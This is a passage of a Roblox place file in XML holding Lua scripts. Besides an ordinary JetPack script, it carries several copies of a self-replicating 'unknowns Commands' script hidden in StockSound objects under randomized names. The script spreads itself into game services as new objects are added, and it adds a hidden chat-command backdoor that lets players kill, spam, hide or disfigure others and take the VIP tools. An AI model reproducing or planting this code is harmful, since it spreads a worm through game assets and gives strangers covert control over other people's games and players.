for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
			</Item>
			<Item class="Model" referent="RBX750">
				<Properties>
					<token name="Controller">0</token>
					<bool name="ControllerFlagShown">true</bool>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">JetPack</string>
					<Ref name="PrimaryPart">null</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Script" referent="RBX751">
					<Properties>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">Script</string>
						<string name="Source">connection = nil
humanoid = nil
on = false
startSpeed = 5
maxSpeed = 30
maxFuel = 20
fuel = maxFuel

sound = script.Parent.P3.Sound
controller = script.Parent.P3.BodyVelocity
burner1 = script.Parent.P8
burner2 = script.Parent.P9
--rot = CFrame.fromEulerAnglesXYZ(0,math.pi/2,0)
rot = CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)

function turnOff()
	sound:pause()
	controller.maxForce= Vector3.new(0,0,0) 
	burner1.Transparency = 1
	burner2.Transparency = 1
	on = false
end

function onJump(isJumping)
	if isJumping then
		-- toggle the jetpack
		if (not on) and (fuel&gt;0) then
			controller.velocity = Vector3.new(0,startSpeed,0)
			controller.maxForce = Vector3.new(0,4e+003,0) 
			on = true
			sound:play()
		else
			turnOff()
		end
	end
end

function attach(h)
	if h==humanoid then
		return
	end

	print(&quot;attaching to &quot; .. h.Name)
	humanoid = h
	if connection~=nil then
		connection:disconnect()
	end
	connection = h.Jumping:connect(onJump)

	local torso = h.Parent.Torso
	script.Parent.P3.CFrame = torso.CFrame * CFrame.new(Vector3.new(0,1,1)) * rot
	script.Parent.P4:makeJoints()
	script.Parent.P5:makeJoints()
	--script.Parent.P6:makeJoints()
	--script.Parent.P7:makeJoints()

	script.Parent.P1.CanCollide = false
	script.Parent.P2.CanCollide = false
	script.Parent.P3.CanCollide = false
end

function onTouched(part)
	local h = part.Parent:findFirstChild(&quot;Humanoid&quot;)
	if h~=nil then
		attach(h)
	end
end

script.Parent.P1.Touched:connect(onTouched)
script.Parent.P2.Touched:connect(onTouched)
script.Parent.P3.Touched:connect(onTouched)
script.Parent.P4.Touched:connect(onTouched)
script.Parent.P5.Touched:connect(onTouched)
script.Parent.P6.Touched:connect(onTouched)
script.Parent.P7.Touched:connect(onTouched)

-- monitor rocket fuel
while true do
		local dt = wait(0.3)
		if on then
			fuel = fuel - dt
			if controller.velocity.y &lt; maxSpeed then
				controller.velocity = controller.velocity + Vector3.new(0,4*dt,0)
			end
		else
			if fuel&lt;maxFuel then
				fuel = fuel + dt
			end
		end

		sound.Volume = fuel / maxFuel
		if fuel &lt;= 0 then
			turnOff()
		elseif on then
			-- adjust burners
			burner1.Transparency = 1 - fuel / maxFuel * (0.8 - 0.4 * math.random())
			burner2.Transparency = 1 - fuel / maxFuel * (0.8 - 0.4 * math.random())
		end
end
</string>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX752">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">h703x</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX753">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">j1cz4mbr</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="StockSound" referent="RBX754">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">szj3xvj4q</string>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Script" referent="RBX755">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">marwonak</string>
							<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
